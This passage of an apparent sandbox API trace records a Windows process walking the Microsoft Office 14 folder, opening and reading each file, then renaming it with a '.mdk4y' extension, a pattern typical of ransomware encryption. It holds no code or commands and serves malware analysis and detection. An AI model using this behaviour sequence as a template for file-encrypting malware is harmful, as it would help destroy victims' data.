lpPerformanceCount=0x37dee4*=1826108600000) returned 1 [0185.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826108600000) returned 1 [0185.858] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.mdk4y")) returned 1 [0185.860] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.860] AreFileApisANSI () returned 1 [0185.860] GetACP () returned 0x4e4 [0185.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Discussion14.gta", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Discussion14.gtal.dll", lpUsedDefaultChar=0x37df4c) returned 16 [0185.860] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826109200000) returned 1 [0185.862] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x587c9, lpOverlapped=0x0) returned 1 [0185.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826116900000) returned 1 [0185.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826116900000) returned 1 [0185.943] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.mdk4y")) returned 1 [0185.944] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.944] AreFileApisANSI () returned 1 [0185.944] GetACP () returned 0x4e4 [0185.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DL_RES.DLL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DL_RES.DLL14.gta", lpUsedDefaultChar=0x37df4c) returned 10 [0185.945] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826117600000) returned 1 [0185.946] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2988, lpOverlapped=0x0) returned 1 [0185.961] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826119100000) returned 1 [0185.961] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826119100000) returned 1 [0185.962] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll.mdk4y")) returned 1 [0185.963] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.982] AreFileApisANSI () returned 1 [0185.982] GetACP () returned 0x4e4 [0185.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DOORSCHD.VRD", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DOORSCHD.VRD.gta", lpUsedDefaultChar=0x37df4c) returned 12 [0185.982] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.983] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826121500000) returned 1 [0185.986] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6bb, lpOverlapped=0x0) returned 1 [0185.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826122600000) returned 1 [0185.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826122600000) returned 1 [0185.997] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.mdk4y")) returned 1 [0185.998] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.998] AreFileApisANSI () returned 1 [0185.998] GetACP () returned 0x4e4 [0185.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DRILLDWN.VSL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DRILLDWN.VSL", lpUsedDefaultChar=0x37df4c) returned 12 [0185.998] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826123000000) returned 1 [0186.000] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfd68, lpOverlapped=0x0) returned 1 [0186.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826124800000) returned 1 [0186.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826124800000) returned 1 [0186.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.mdk4y")) returned 1 [0186.027] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.027] AreFileApisANSI () returned 1 [0186.027] GetACP () returned 0x4e4 [0186.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DWGCNV.VSL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DWGCNV.VSLSL", lpUsedDefaultChar=0x37df4c) returned 10 [0186.027] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826125900000) returned 1 [0186.029] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9760, lpOverlapped=0x0) returned 1 [0186.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826128000000) returned 1 [0186.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826128100000) returned 1 [0186.051] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.mdk4y")) returned 1 [0186.053] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.053] AreFileApisANSI () returned 1 [0186.053] GetACP () returned 0x4e4 [0186.053] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DWGDPRES.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DWGDPRES.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0186.053] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826128400000) returned 1 [0186.054] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3f60, lpOverlapped=0x0) returned 1 [0186.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826130600000) returned 1 [0186.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826130600000) returned 1 [0186.076] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll.mdk4y")) returned 1 [0186.078] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.078] AreFileApisANSI () returned 1 [0186.078] GetACP () returned 0x4e4 [0186.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EADOCUMENTAPPROVAL_INIT.XSN", cchWideChar=27, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EADOCUMENTAPPROVAL_INIT.XSNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 27 [0186.078] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.079] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826130900000) returned 1 [0186.079] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x388e, lpOverlapped=0x0) returned 1 [0186.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826133700000) returned 1 [0186.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826133800000) returned 1 [0186.108] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn.mdk4y")) returned 1 [0186.109] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.109] AreFileApisANSI () returned 1 [0186.110] GetACP () returned 0x4e4 [0186.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EADOCUMENTAPPROVAL_REVIEW.XSN", cchWideChar=29, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EADOCUMENTAPPROVAL_REVIEW.XSNMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 29 [0186.110] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826134000000) returned 1 [0186.111] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4d7e, lpOverlapped=0x0) returned 1 [0186.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826136800000) returned 1 [0186.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826136800000) returned 1 [0186.139] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn.mdk4y")) returned 1 [0186.140] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.140] AreFileApisANSI () returned 1 [0186.140] GetACP () returned 0x4e4 [0186.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EAWFINTL.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EAWFINTL.DLLPROVAL_REVIEW.XSN", lpUsedDefaultChar=0x37df4c) returned 12 [0186.140] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826137100000) returned 1 [0186.141] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc990, lpOverlapped=0x0) returned 1 [0186.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826139700000) returned 1 [0186.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826139700000) returned 1 [0186.168] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll.mdk4y")) returned 1 [0186.169] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.169] AreFileApisANSI () returned 1 [0186.169] GetACP () returned 0x4e4 [0186.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EDITRES.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EDITRES.DLLL", lpUsedDefaultChar=0x37df4c) returned 11 [0186.170] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826140000000) returned 1 [0186.170] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4d80, lpOverlapped=0x0) returned 1 [0186.204] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826143400000) returned 1 [0186.204] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826143400000) returned 1 [0186.205] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll.mdk4y")) returned 1 [0186.206] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.206] AreFileApisANSI () returned 1 [0186.206] GetACP () returned 0x4e4 [0186.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EntityPickerIntl.dll", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EntityPickerIntl.dllEVIEW.XSN", lpUsedDefaultChar=0x37df4c) returned 20 [0186.206] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.206] AreFileApisANSI () returned 1 [0186.206] GetACP () returned 0x4e4 [0186.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENVELOPR.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ENVELOPR.DLLIntl.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0186.206] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826143800000) returned 1 [0186.208] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4388, lpOverlapped=0x0) returned 1 [0186.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826153700000) returned 1 [0186.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826153700000) returned 1 [0186.308] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.mdk4y")) returned 1 [0186.309] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.309] AreFileApisANSI () returned 1 [0186.309] GetACP () returned 0x4e4 [0186.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENVELOPR.DLL.IDX_DLL", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ENVELOPR.DLL.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 20 [0186.309] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.310] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826154200000) returned 1 [0186.312] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3580, lpOverlapped=0x0) returned 1 [0186.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826157000000) returned 1 [0186.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826157000000) returned 1 [0186.340] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.mdk4y")) returned 1 [0186.343] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.343] AreFileApisANSI () returned 1 [0186.343] GetACP () returned 0x4e4 [0186.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EQPLIST.VRD", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EQPLIST.VRDL.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0186.343] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826157400000) returned 1 [0186.344] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6a3, lpOverlapped=0x0) returned 1 [0186.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826158000000) returned 1 [0186.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826158000000) returned 1 [0186.350] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.mdk4y")) returned 1 [0186.352] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.352] AreFileApisANSI () returned 1 [0186.352] GetACP () returned 0x4e4 [0186.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXCEL.DEV.HXS", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXCEL.DEV.HXSIDX_DLL", lpUsedDefaultChar=0x37df4c) returned 13 [0186.352] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826158400000) returned 1 [0186.354] ReadFile (in: 